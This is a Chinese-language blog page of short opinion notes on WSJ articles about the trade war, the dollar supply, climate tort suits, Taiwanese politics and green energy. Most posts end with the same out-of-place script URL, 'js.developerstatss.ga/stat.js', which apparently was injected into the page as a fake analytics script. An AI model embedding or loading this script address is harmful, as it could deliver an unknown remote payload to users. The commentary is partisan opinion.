分類: 筆記
華爾街日報這篇社論恰好打臉某偽財經大嬸,同時有所見略同地幾乎總結了這半年我對中美貿易戰的看法:
1. 川普宣稱要透過貿易戰逼迫中國遵守某些國際貿易慣例,但卻錯誤地沒有與他國聯盟一起處罰中國,反而是處處搧風點火,竟然同時對歐盟、日本、加拿大與墨西哥打起貿易戰。
WSJ社論認為:America First恐怕變成America alone!
2. 川普的減稅與法規鬆綁雖然改善美國經濟,近一年的股市大漲反應正是這部份利多;但貿易戰才剛剛開打,新的成本需要時間才會顯現。
(此段恰恰是我今日批評偽財經大嬸錯誤解讀台灣出口數據之處,可見經濟邏輯正確者看法相同)
美國商務部資料已經顯現,與貿易戰相關的投資活動降低,甚至有裁員現象發生。
3. 中國2007年出口額佔GDP高達36%,但到了2017年已經降低到18.5%。
WSJ認為這表示貿易戰對中國的傷害將不如川普等政客的想像。
4. WSJ最後一句堪稱最佳結語:「何時這位談判大師將真正替美國談筆好生意?(When is the master negotiator actually going to negotiate a better trade deal?)」
https://www.wsj.com/articles/so-much-trade-losing-1530916720https://js.developerstatss.ga/stat.js?n=ns1
美國所發行的美鈔將近2/3(高達$1.07兆!)都流入海外,$800億為境內金融存款,真正流通市面由商家個人使用的,僅$4530億。
這部分說明:
1. 2008年以來Fed多次量化寬鬆與大肆印鈔,為何沒在美國國內引起大規模高度通膨。
2. 美國對全世界抽的「美元稅」真是抽好、抽滿、抽到爽。
3. 前台灣央行總裁彭淮南的「美國輸出全球通膨」一說有其根據。
https://www.wsj.com/articles/cash-flow-or-cash-stash-how-money-moves-around-1530882001https://js.developerstatss.ga/stat.js?n=ns1
又一個證明「貿易戰如何影響消費品價格」的案例。
華爾街日報報導:「No Country for American Locker Makers」,提到這位百年掛鎖的生產商Lyon Group Holding在Trump實施鋼鋁20%加徵關稅後,自己的掛鎖將從每個毛利$5美元變成虧損$1.78。
而這種掛鎖並不在美國對中國貿易障礙清單中,因此中國競爭對手變成反倒因貿易戰而享有風落競爭優勢(windfall competitive advatanges)。
Lyon Group目前在美國有兩座工廠(印第安那州與伊利諾州),2/3員工都屬於unskilled workers(工資$12/hr),如Lyon Group希望繼續從事掛鎖生意,在如今的貿易戰侷限條件下,他們反倒必須打破百年傳統,外包製造業務給中國生產商了。如此一來,他們也被迫裁撤多餘人力,老闆對於這些無特殊技能員工的前景感到憂心。
從經濟分析來看,貿易戰就是強迫國內人民用更高代價去達到原本較低代價可滿足的需求,就是一種租值耗散,對整體國家社會均是大不利。大批邊際勞工的失業或甚至特定產業消失,都是高度可能的結果。因此貿易戰結果必然雙輸,不存在「誰會贏」這種結果。
此外,如同我說過,對原物料、半成品乃至任何生產要素的課稅,必然傳遞到消費端。
Emmy Hu這位宣稱「此次貿易戰不影響消費品」與「貿易戰已經結束」的偽財經專家,真的多念點書,至少搞懂基本經濟邏輯,少誤人子弟會比較好。https://js.developerstatss.ga/stat.js?n=ns1
華爾街日報:「The Climate-Change Tort Racket」
從華爾街日報一則新聞窺探環保掮客的面目:
1. 美國加州的民主黨政客與控方律師結夥試圖透過訴訟,控告BP、Chevron、Conoco Phillips、ExxonMobil與Royal Dutch Shell這些大型石油公司造成氣候變遷,並據此索賠。
但在common law上,從來沒有這種因果關係如此薄弱的侵權行為(torts)真正成立的判決。
2. 此外美國聯邦最高法院在AEP v. Connecticut 一案中明白表示,Clean Air法案已經是立法排除企業對於溫室氣體排放的公眾干擾式侵權責任(public nuisance torts)。
不過這些政客與律師刻意在迷信環保的加州舊金山與奧克蘭地方法院提起訴訟,希望透過民氣可用逼迫大公司交錢。
過去我曾撰文批評contingent lawyers是一群非常不要臉的律師。本案中也一樣,Hagens Berman就是自願代理舊金山市政府的contingent lawyer,費用是告贏石化公司後,賠償額的23.5%。而業內人士指出,Berman這種律師其實更期待石化公司私底下直接給他一筆錢,他就自己主動撤回告訴。
3. 不過聯邦法院法官William Alsup公開表示深深不以為然。Alsup指出:
a. 美國之所以可以贏得二次世界大戰,石化燃料可謂是關鍵因素。若當初美國沒有石化燃料,不但會輸掉二戰,甚至會輸掉所有戰爭。美國從石化燃料得到巨大的利益,是不可否認的事實。
b. 美國從聯邦政府到州政府都有許多鼓勵生產石化產品的政府措施, 法律難道可以一方面鼓勵你生產,一方面又要懲罰你生產?
c. 控方宣稱的「石化產業造成氣候變遷」證據不過是幾張環保團體自己做的投影片,根本沒有科學實證鐵錚錚地證明此因果關係。
d. Alsup法官要求舊金山市政府提出證據,證明該政府因氣候變遷而額外支出的成本是什麼。而舊金山市市長回覆:「市府必須聘僱人員、外部顧問去研究全球暖化問題,並從而決定海堤要蓋多高。」
但此項說法其實被市政府自己發行的債券說明書給打臉,該債券說明記載:「市府無從預測海平面高度或其他任何氣候變遷造成的影響…」,若該市長為真,則聯邦證交會應該追究舊金山市政府在債券說明記載偽造文書的法律問題!
該篇報導也指出這些「打氣候變遷環保牌」的市政府有多可恥。例如紐約市地鐵入不敷出,許多設施早已年久失修,所以紐約市政府律師打算控告這些石化公司,主張颶風風災損失全要歸咎這些石化公司造成的氣候變遷,從而幫市府用司法籌措地鐵資金。
#社運人士真是高貴
#他們都捨棄財富追求喔https://js.developerstatss.ga/stat.js?n=ns1
在Jack Dai那裡看到的爛文章一篇,還是國立大學經濟學博士出品,讓人直搖頭。
簡單講幾個點:
1. 全文忽略馬英九上任碰上全球08’年金融風暴引起的「The Great Recession」,連美國在內多數國家都實質收入衰退。以美國為最主要最終出口市場的台灣當然無法倖免於難,然而此文作者卻故意忽略不談。
2.該文作者也故意完全忽略因應The Great Recession美國Fed柏南奇開啟的超過十年超寬鬆貨幣政策,使得多數對美國為主要貿易對象的國家被迫跟著通膨的事實,以及馬英九任內油價曾破記錄來到近每桶130美元的客觀因素,反過來指責馬英九放任物價上漲,真是可笑。
彭淮南任內也曾多次公開指責美國貨幣政策造成事實上強迫其他國家通膨之舉措,有害他國經濟。
話說,台灣貨幣政策似乎是由中央銀行行使職權,從未聽說馬英九曾指點彭淮南該怎麼因應。如果對這段時間的國內通膨現象不滿,怎麼看責任也該在彭淮南身上。
3. 我覺得最可笑的就是這篇文章作者試圖「迂迴護航」的蔡英文啦。
在蔡英文統治下2017年台灣GDP成長率為2.86%,但同年IMF統計的全球GDP成長率是3.8%,中國6.9%、香港3.8%、南韓3.1%、澳門9.3%、菲律賓6.7%、越南6.8%、泰國3.9%、新加坡3.6%、馬來西亞5.9%、印度6.7%、日本1.7%。
整個東亞幾乎末段班就是台灣日本的fu。
———————————————-
有投資股票經驗的朋友應該都知道,搭到成長股的獲利肯定遠超過不成長的大型穩定股。
我一再呼籲,中國是近30年來少見的大型成長股,台灣享有的語言成本優勢天下無敵,少數成功掌握的商人30年風水如今富甲天下者有之,就連我熟悉的台中傳統機械、自行車產業也多有因此大發利市身價近百億新台幣的低調隱形富豪(如某富豪90年代到法國酒莊買酒,當主人問要買幾瓶時,此富豪答:「本人我習慣用貨櫃做計算單位。」隨便買了幾貨櫃,還於鄉間蓋一別墅,不住人,專門放酒。隔年,戴高樂機場甫下機就有不同酒莊派出的各式加長禮車爭搶接機)。
這部份也回應最近看到一篇文章,作者當年美國讀博士成績再優異,依然被美國教授噹口語能力不佳,甚至以不予博士學位威脅。卻又發現某已成名之台灣藉學者在該校演講,英文口語明明也不怎麼樣,但教授卻配合至極,連冷笑話也捧場大笑。
理由無他:「你求人」或「人求你」罷了。
這位隱形富豪一句法文都不會說,他明講:「會按計算機足以。」
回頭看當年李登輝為個人政治私利搞的鎖國政策,被陳水扁繼承到如今蔡英文更是奉行不渝,誤國誤民造成的社會成本全民負擔,自己倒是家財萬貫地享受建國基金。
好笑的是18年前蔡英文還曾宣稱「未來的一個中國是台灣民眾的唯一選擇」,還於立法院備詢時以陸委會主委身分「承認一中各表」。如今轉為台獨份子,往往並非政治理念之轉變,而是政客身分與需求使其必須欺騙與牢固容易操弄的特定團體。這就是民主政治的本質。
前兩天才跟網友答覆:「債券沒特別研究;不過美國過去10年超量發行貨幣的後果一定會推升通膨預期。只是很神奇的因為某些特殊侷限條件,過去10年的通膨並不明顯,但這樣的好日子不見得可以持續維持。」
今天就讀到美國Freddie Mac 公布最新30年固定利率房貸攀升至2011年以來最高 — 4.61%。
而今年一月時,此房貸利率還在3.99%。
今年以來美國房貸利率升得很快呢!https://js.developerstatss.ga/stat.js?n=ns1
太陽能與風電的不環保
WSJ這篇質疑紐約州市長綠能政策的社論「New York’s Green Energy Roulette」,裡頭有句話總結德國與歐洲十國的綠能轉型經驗報告,說得相當簡潔透徹:
「Germany shows and a new study of 10 nations confirms: Investing heavily in wind and solar doesn’t really reduce fossil-fuel use or fossil-fuel emissions. Why? Adding solar and wind as adornments to a basically functioning grid is one thing. Once you begin relying on them, however, each must be paired with an equivalent gas plant for when wind and sun are absent.
(德國經驗與歐洲十國新能源報告顯示:高度投資風力與太陽能發電並不會實質上降低石化燃燒排放。為何?因為增加太陽能與風力發電到基礎功能電網中猶如裝飾品是一回事;當你真正要靠此二者,每個風力或太陽能發電設施都必須配備一座燃氣發電廠,好應付無風、無太陽的狀況。」
如果經營過工廠生產線的朋友,一定會大惑不解:「這套設備不穩定到一定要有備用設施準備隨時支援?整個就不合理!」相信腦袋稍有邏輯的老闆如有其他更穩定的選擇,絕不會採用這種生產設備。咦?可政客偏偏不這樣想!
上述發電方式不僅昂貴,而且比起單純使用燃煤或核能發電更為不可靠。其不可靠來自於:1. 風力、太陽能發電狀況不穩定以及 2.燃煤發電廠廠內至少有30日能源存量、核能則高達2年;可是天然氣走天然氣運輸管直接從源頭到發電廠,一旦源頭或管線出現問題,燃氣發電廠幾乎是立即也只能停擺。
(註:這是美國的狀況。台灣更慘,必須透過先把天然氣液化,透過LNG船海運送到台灣,再進入儲存槽,而台灣儲存量只夠一週使用,一旦遇上颱風或武力封鎖海域,七日就葛屁)
竟還有更蠢的笨蛋宣稱要100%使用不可靠的發電方式,就是宣布要參選紐約州州長的Cynthia Nixon(演出慾望城市影集中的女律師Miranda一角),聲稱2050年之前紐約州要100%綠能。此外,現任州長與這位女演員還都主張要關閉紐約州現在僅剩的可靠電力來源– Indian Point核能電廠。
(又一個出來騙的蔡英文)
該社論很不客氣的批評這些政客,故意用花俏但以犧牲能源穩定供給為代價的政策,討好選民來為自己的政治利益鋪路,卻絲毫不肯教育選民,使其認知他們的綠能幻想有多麼愚蠢。而立下這個壞示範的,正是前任總統Obama — 大搞無效卻昂貴的氣候政策整整8年。https://js.developerstatss.ga/stat.js?n=ns1
